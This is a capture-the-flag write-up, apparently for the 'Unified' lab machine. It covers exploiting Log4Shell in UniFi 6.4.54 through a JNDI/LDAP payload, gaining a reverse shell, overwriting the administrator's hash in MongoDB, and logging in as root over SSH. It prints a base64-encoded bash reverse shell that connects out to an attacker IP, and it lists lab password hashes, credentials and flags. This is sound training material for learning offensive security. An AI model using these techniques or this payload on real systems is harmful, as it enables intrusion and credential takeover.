Unified
Last updated
Last updated
This writeup explores the effects of exploiting Log4J in a very well known network appliance monitoring system called "UniFi". This box will show you how to set up and install the necessary packages and tools to exploit UniFi by abusing the Log4J vulnerability and manipulate a POST header called remember , giving you a reverse shell on the machine. You'll also change the administrator's password by altering the hash saved in the MongoDB instance that is running on the system, which will allow access to the administration panel and leads to the disclosure of the administrator's SSH password.
Start with an NMAP scan of the target IP.
Looks like 4 typical ports are open from the scan.
Ports Open:
22 --> SSH
6789 --> ibm-db2-admin
8080 --> http-proxy
8443 -->https-alt (ssl/nagios-nsca Nagios NSCA)
Run a script scan of port 8443.
The software title can be seen under the title "http-title" : UniFi Network
Since the version number does not pop up in our nmap scan, let's visit the webpage URL. The key here is that the service is secured through TLS so it will be https not http.
Under the UniFi Logo is shows a version number of 6.4.54.
Doing a quick google search for vulnerabilities for this software and version led to this page for CVE-2021-44228.
I opened up burpsuite and turned on foxyproxy to catch packets. I put in test:test for credentials and captured a packet with burpsuite.
I had to reload the page as the packets were not originally being caught.
I then Right-Clicked on the packet and sent it to the Burpsuite Repeater.
Based on the documentation for the vulnerability, I will place the payload in the remember parameter.
The payload should be placed in "" to ensure it is referred to as a string. Here is the payload with the HOST IP.
You'll notice that the payload includes an interface called JDNI and utilizes the protocol LDAP to communicate.
Once I hit enter it kicked back that it was unsuccessful but it was actually successful. I can confirm this by using the tool tcpdump.
tcpdump uses port 389 to intercept traffic on.
We can confirm that the server is trying to connect back to the host machine by collecting the traffic it is sending back on Port 389 with LDAP.
First start up a new terminal window and use the following:
tcpdump is essentially wireshark on a CLI.
After you have started the dump from above click on the Send button for your Burpsuite Repeater and you should recieve a response back on tcpdump similar to the following.
This tells me that the server is trying to make a connection back over port 389.
We will first need to build a java payload. To do this, I need to first install openjdk, which is used to build java applications.
You can confirm that java has been installed by running the following.
Next is to install Maven which is an IDE for Java.
To confirm you have installed it we can run the following:
After this we need to download and install the java application Rogue-JDNI.
Change directory into the downloaded folder.
Next is to use maven to compile the code from Rogue-JDNI into a distributable format. This will create a .jar file in the target directory.
The payload we will use a pretty basic one for bash.
We will then need to base64 encode it to avoid any issues when uploading it.
Base64 Encoded Payload --> YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTQuMjA3LzQ0NDQgMD4mMQo=
Make sure you have started up a netcat listener on a separate terminal window.
Now we need to feed the base64 encrypted payload into the rogue-jdni application
This will feed the payload into the application using the --command
Next is to go back to the intercepted packet on the Burpsuite Reciever and change the remember parameter to the following:
On the rogue JNDI application that is listening on port 1389, you'll notice a new entry that tells us we have received a connection back to our host machine.
I should now have a reverse shell connection to the target if I go back to my netcat listener.
Now that I have access I can check what procceses are currently running to see if I can determine which port mongod DB is running on.
It looks like mongod is running as PID 67 and is located in bin/mongod
I tried running netstat to see what port it is running on but it looks like the command is not found.
Instead I decided to grep mongod out of the previous ps output
Mongod is running on port 27117
Running a quick google search to see what the default name is for database for UniFi applications results in "ace"
On the target machine that you have a reverse shell connection to run the following to access the mongod database and search for possible credentials within the database.
mongo --> is the command to access a mongod database
--port --> specifies the port the process is running on. In this case mongod typically runs on port 27117.
ace --> Is the typical default database name for mongod.
--eval [SCRIPT] -> Runs a json script to located possible admin credentials.
This gave me a lot of different user credentials but it appears that all the passwords are in the shadows directory and are hashed.
administrator@unified.htb
$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.
ObjectId --> 61ce278f46e0fb0012d47ee4
michael@unified.htb
$6$spHwHYVF$mF/VQrMNGSau0IP7LjqQMfF5VjZBph6VUf4clW3SULqBjDNQwW.BlIqsafYbLWmKRhfWTiZLjhSP.D/M1h5yJ0
seamus@unified.htb
$6$NT.hcX..$aFei35dMy7Ddn.O.UFybjrAaRR5UfzzChhIeCs0lp1mmXhVHol6feKv4hj8LaGe0dTiyvq1tmA.j9.kfDP.xC.
warren@unified.htb
$6$DDOzp/8g$VXE2i.FgQSRJvTu.8G4jtxhJ8gm22FuCoQbAhhyLFCMcwX95ybr4dCJR/Otas100PZA9fHWgTpWYzth5KcaCZ.
james@unified.htb
$6$ON/tM.23$cp3j11TkOCDVdy/DzOtpEbRC5mqbi1PPUM6N4ao3Bog8rO.ZGqn6Xysm3v0bKtyclltYmYvbXLhNybGyjvAey1
Here are the credentials for other users as well:
I won't be able to crack any of these hashes but can instead make new passwords to be utilized for the administrator account.
I can figure out that the hash is SHA512 if I search online and also due to the $6$ at the beginning.
I'll create a new password for the admin account. Open a new terminal window on your host machine and run the following to create a SHA512 hash of the password: Password1234
This will output the following hash. This hash will not take into account salting but since we will upload it in place of the current password for the admin account, we won't need to worry about that.
Next is to run the following on the target machine to replace the administrator's password with the new one we just generated.
Here is the output i used:
This should have now replaced the administrator's hashed password with ours.
We can verify it worked by running the previous command to view the credentials:
Now that we have changed the password, we should be able to login to the admin account through the web portal with the password: Password1234
Back to the original task: The function we use to enumerate users is:
We used this further above to view all of the users and their credentials.
We used this in the previous task to update the administrator's password.
On the UniFi admin page, go to the Settings tab on the left and click on Site.
Scroll to the bottom where Device Authentification is.
You'll find that SSH is enabled with the following credentials:
root:NotACrackablePassword4U2022
Now that we have root credentials, let's SSH into the target computer using them.
cat the user file located in Michael's directory. This can be done without root priveleges.
6ced1a6a89e666c0620cdb10262ba127
cat the root.txt file located in the root directory.
e50bc93c75b634e4b272d2f771c33681
